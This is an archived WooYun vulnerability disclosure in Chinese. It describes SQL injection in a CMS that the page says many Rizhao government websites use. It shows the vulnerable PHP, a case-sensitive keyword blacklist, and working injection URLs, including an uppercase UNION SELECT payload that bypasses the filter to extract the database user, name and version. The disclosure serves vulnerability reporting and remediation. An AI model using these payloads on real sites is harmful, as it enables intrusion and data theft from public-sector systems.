当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051505

漏洞标题:某政府网站通用系统存在SQL漏洞

相关厂商:日照至信信息科技有限公司

漏洞作者: 宇少

提交时间:2014-02-24 10:47

修复时间:2014-05-25 10:48

公开时间:2014-05-25 10:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-24: 细节已通知厂商并且等待厂商处理中
2014-03-01: 厂商已经确认,细节仅向厂商公开
2014-03-04: 细节向第三方安全合作伙伴开放
2014-04-25: 细节向核心白帽子及相关领域专家公开
2014-05-05: 细节向普通白帽子公开
2014-05-15: 细节向实习白帽子公开
2014-05-25: 细节向公众公开

简要描述:

日照至信信息科技有限公司政府网站存在通用注入漏洞,函数没过滤完全。

详细说明:

日照至信信息科技有限公司,专业提供政府,企业,地产,文艺网站开发商。
日照市很多政府都用的这套系统具体案例可以参照:http://www.zxxxkj.com/cgal.php

漏洞证明:

menuList.php 文件 15至18行
<?php
$menuId=$myFunc->inject_check($_GET['menuId']); //获取GET参数,通过inject_check函数进行过滤,我们跟踪这个函数
$sql='select * from menu_info where id='.$menuId.'';
$info=$mysql->q2a($sql);
?>


inject_check 过滤函数代码:
function inject_check($str) { //防注入函数开始
$check=preg_match('/select|order|insert|update|eval|document|delete|injection|jection|link|\'|\%|\/\*|\*|\.\.\/|\.\/|\,|\.|--|\"|and|or|from|union|into|load_file|outfile|<script>/',$str);
if($check){
echo "<script>alert('输入非法内容!!');window.history.go(-1);</script>";
exit();
}else{
return $str;
}
} /**
//过滤了注入关键词小写,大写就可以突破!


注入报错:
http://localhost/menuList.php?menuId=2'

1.jpg


http://localhost/menuList.php?menuId=2 and 1=2 union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,7,8,9/*

1.jpg


大写成功突破:
http://localhost/menuList.php?menuId=2 and 1=2 UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,7,8,9/*

1.jpg


查询数据库里面内容:

1.jpg


修复方案:

#1,加强函数的过滤

版权声明:转载请注明来源 宇少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-03-01 11:19

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由其协调生产厂商和网站案例单位处置。

最新状态:

暂无


漏洞评价:

评论